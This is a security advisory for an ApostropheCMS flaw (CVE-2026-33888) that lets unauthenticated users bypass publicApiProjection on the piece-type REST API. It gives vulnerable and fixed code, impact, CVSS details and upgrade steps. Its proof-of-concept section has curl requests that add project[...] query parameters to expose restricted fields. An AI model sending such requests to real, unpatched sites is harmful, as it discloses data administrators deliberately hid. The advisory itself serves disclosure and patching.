Skip to content

GHSA-xhq9-58fw-859p CVE-2026-33888

ApostropheCMS: publicApiProjection Bypass via project Query Builder in Piece-Type REST API

Medium npm
Severity
5.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.51%
Chance of exploitation in the next 30 days. Higher than 43.72% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
CWE-863 Incorrect Authorization
Fix
4.29.0
Upgrade apostrophe to this version or later

Description

Summary

The getRestQuery method in the @apostrophecms/piece-type module checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request to pre-populate the projection state, causing the security-enforced publicApiProjection to be skipped entirely. This allows disclosure of fields that the site administrator explicitly restricted from public access.

Details

When an unauthenticated user queries the piece-type REST API, the getRestQuery method processes the request at modules/@apostrophecms/piece-type/index.js:1120:

// piece-type/index.js:1120-1137
getRestQuery(req, omitPermissionCheck = false) {
  const query = self.find(req).attachments(true);
  query.applyBuildersSafely(req.query);          // [1] attacker input applied first
  if (!omitPermissionCheck && !self.canAccessApi(req)) {
    if (!self.options.publicApiProjection) {
      query.and({
        _id: null
      });
    } else if (!query.state.project) {            // [2] checks if projection already set
      query.project({
        ...self.options.publicApiProjection,
        cacheInvalidatedAt: 1
      });
    }
  }
  return query;
},

At [1], applyBuildersSafely iterates over all query string parameters and invokes their corresponding builder methods. The project builder exists in @apostrophecms/doc-type with a launder method (doc-type/index.js:1876) that sanitizes values to booleans:

// doc-type/index.js:1875-1889
project: {
  launder (p) {
    if (!p || typeof p !== 'object' || Array.isArray(p)) {
      return {};
    }
    const projection = Object.entries(p).reduce((acc, [ key, val ]) => {
      return {
        ...acc,
        [key]: self.apos.launder.boolean(val)
      };
    }, {});
    return projection;
  },

When a request includes ?project[someField]=1, the builder sets query.state.project to {someField: true}. At [2], the conditional !query.state.project evaluates to false because the state is already populated, so the publicApiProjection is never applied.

For comparison, the @apostrophecms/page module's equivalent method (page/index.js:2953) unconditionally applies the projection:

// page/index.js:2953-2958
} else {
  query.project({
    ...self.options.publicApiProjection,
    cacheInvalidatedAt: 1
  });
}

PoC

Prerequisites: An ApostropheCMS 4.x instance with a piece-type (e.g., article) that has publicApiProjection configured to restrict fields. For example:

// modules/article/index.js
module.exports = {
  extend: '@apostrophecms/piece-type',
  options: {
    publicApiProjection: {
      title: 1,
      _url: 1
    }
  }
};

Step 1: Normal request — observe restricted fields are hidden:

curl 'http://localhost:3000/api/v1/article'

Response returns only title and _url fields per the configured projection.

Step 2: Bypass projection by supplying project query parameter:

curl 'http://localhost:3000/api/v1/article?project[internalNotes]=1&project[title]=1&project[slug]=1&project[createdAt]=1'

Response now includes internalNotes, slug, createdAt, and any other requested fields — bypassing the admin-configured publicApiProjection restriction.

Step 3: Request all default fields by projecting inclusion of sensitive fields:

curl 'http://localhost:3000/api/v1/article?project[_id]=1&project[title]=1&project[slug]=1&project[visibility]=1&project[type]=1&project[createdAt]=1&project[updatedAt]=1'

All requested fields are returned, confirming the publicApiProjection is fully bypassed.

Impact

  • Information Disclosure: An unauthenticated attacker can read any field on documents that are already publicly queryable, bypassing administrator-configured field restrictions. This may expose internal notes, draft content, metadata, or other sensitive fields the administrator intentionally hid from the public API.
  • Scope: Affects all piece-type modules with publicApiProjection configured. The attacker cannot access documents they wouldn't otherwise be able to query (document-level permissions still apply), but they can read any field on accessible documents.
  • Exploitability: Trivial — requires only appending query parameters to a public URL. No authentication, special tools, or chaining required.

Recommended Fix

Remove the conditional check on query.state.project in piece-type/index.js, matching the page module's unconditional behavior. The admin-configured publicApiProjection should always override any user-supplied projection for unauthenticated users:

// modules/@apostrophecms/piece-type/index.js:1123-1134
// BEFORE (vulnerable):
if (!omitPermissionCheck && !self.canAccessApi(req)) {
  if (!self.options.publicApiProjection) {
    query.and({
      _id: null
    });
  } else if (!query.state.project) {
    query.project({
      ...self.options.publicApiProjection,
      cacheInvalidatedAt: 1
    });
  }
}

// AFTER (fixed):
if (!omitPermissionCheck && !self.canAccessApi(req)) {
  if (!self.options.publicApiProjection) {
    query.and({
      _id: null
    });
  } else {
    query.project({
      ...self.options.publicApiProjection,
      cacheInvalidatedAt: 1
    });
  }
}

Affected versions

npm

PackageVulnerableFixed in
apostrophe
< 4.29.0
4.29.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

apostrophe npm → 4.29.0

npm
npm install apostrophe@4.29.0
yarn
yarn add apostrophe@4.29.0
pnpm
pnpm add apostrophe@4.29.0

Severity breakdown

CVSS 3.1 5.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Weakness

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

How to prevent it
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-86wm-68pq-5jwq
ApostropheCMS: Unauthenticated resource exhaustion via pre-auth aposBigUpload processing in @apostrophecms/import-export
High Also affects apostrophe
GHSA-653j-g8j7-gh54
ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing
Medium Also affects apostrophe
GHSA-vwwx-px9w-crrc
ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints
Low Also affects apostrophe
GHSA-vmxh-77cw-65j7
ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers
Medium Also affects apostrophe
GHSA-m2m5-rw3w-cwmj
ApostropheCMS: Client-side Prototype Pollution in apos.http.parseQuery leading to DOM-based XSS against authenticated users
Medium Also affects apostrophe
GHSA-gqh3-7856-rjjg
ApostropheCMS: :_id/locales REST route omits the public-API authorization gate its sibling read routes enforce (unauthenticated doc-existence + locale metadata disclosure)
Medium Also affects apostrophe
GHSA-hhvr-8m24-qqr3
ApostropheCMS: Cross-domain session token in URL confers session takeover
Medium Also affects apostrophe
GHSA-j5rq-xfvr-p969
ApostropheCMS: Authenticated projection-exclusion prototype-member deletion in @apostrophecms/db-connect causes process-wide denial of service
High Also affects apostrophe
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor